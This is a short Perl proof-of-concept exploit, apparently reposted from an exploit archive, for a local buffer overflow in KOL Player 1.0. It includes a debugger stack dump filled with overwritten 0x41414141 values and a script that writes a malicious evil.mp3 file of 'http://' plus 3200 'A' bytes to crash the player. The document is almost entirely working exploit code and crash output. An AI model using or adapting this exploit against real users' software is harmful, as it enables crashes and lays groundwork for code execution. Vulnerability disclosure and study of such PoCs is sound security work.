KOL Player 1.0 (.mp3 File) Local Buffer Overflow PoC

#!/usr/bin/perl # KOL Player 1.0 (.mp3) Local Buffer Overflow PoC # http://thaddy.co.uk/kolacmwaveplayer.zip ######################################################################################## # 0012F920 |00168370 ASCII "AAAA" # 0012F924 |41410004 # 0012F928 |41414141 # 0012F92C |41414141 # 0012F930 |41414141 # 0012F934 |41414141 # 0012F938 |41414141 # 0012F93C |41414141 # 0012F940 |41414141 # 0012F944 |41414141 # 0012F948 |41414141 ######################################################################################## my $crash="http://"."\x41" x 3200; open(myfile,'>>evil.mp3'); print myfile $crash; ######################################################################################## # sebug.net